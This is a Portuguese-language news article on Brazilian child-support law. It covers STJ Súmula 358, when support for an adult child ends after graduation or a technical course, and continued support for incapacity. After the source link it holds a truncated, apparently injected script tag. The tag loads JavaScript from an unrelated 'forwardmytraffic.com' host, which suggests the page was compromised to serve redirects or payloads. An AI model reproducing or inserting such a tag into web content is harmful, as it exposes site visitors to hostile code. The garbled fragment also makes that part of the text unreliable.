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Até Quando Devo Pagar Pensão Alimentícia?

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Súmula 358 do STJ determina que “o cancelamento de pensão alimentícia de filho que atingiu a maioridade está sujeito à decisão judicial, mediante contraditório, ainda que nos próprios autos”.

 

Significa que, mesmo atingindo a maior idade, não resta encerrada automaticamente a obrigação de pagamento de pensão alimentícia. Caso o alimentante desejar encerrar o dever de prestação de alimentos, deverá requer, no judiciário, a exoneração.

 

Desta forma, o alimentado deverá ser intimado para, querendo, provar a necessidade de continuidade da percepção de alimentos.

 

Mas, como é provada esta necessidade?

Por exemplo, no caso de o alimentando cursar ensino superior, preparatório para o ensino superior (aqui pode haver divergência, principalmente, quanto ao tempo destinado para a preparação) ou curso técnico.

 

Para o STJ o pagamento de alimentos ao filho estudante se completa com a graduação, visto que, o bacharel tem condições para exercício de uma profissão, independente do prosseguimento dos estudos por meio de pós graduação. O equivalente se dá no curso técnico, quando o alimentando não prosseguiu os estudos para graduação superior.

 

Ainda segundo o STJ, “o estímulo à qualificação profissional dos filhos não pode tornar a obrigação alimentar um eterno dever de sustento.” Portanto, mestrado e doutorado não implicam na manutenção da obrigação de alimentos.

 

Por obviedade, a inserção no mercado de trabalho, o abandono ou desinteresse em permanecer estudando, também podem ser causas extintivas da prestação de alimentos.

 

Para além dos casos de curso de graduação, poderá ainda ser provada a necessidade, se alimentante comprovar incapacidade física ou mental para o trabalho.

 

Saiba mais – Revista Eletrônica STJ – Súmula n. 358 

 

https://eunicegomesaraujo.jusbrasil.com.br/artigos/603044087/meu-filho-completou-18-anos-ate-quando-devo-pagar-pensao-alimenticia?utm_campaign=newsletter-daily_20180723_7367&utm_medium=email&utm_source=newsletter… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

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Equipe A Gazeta Tresbarrense
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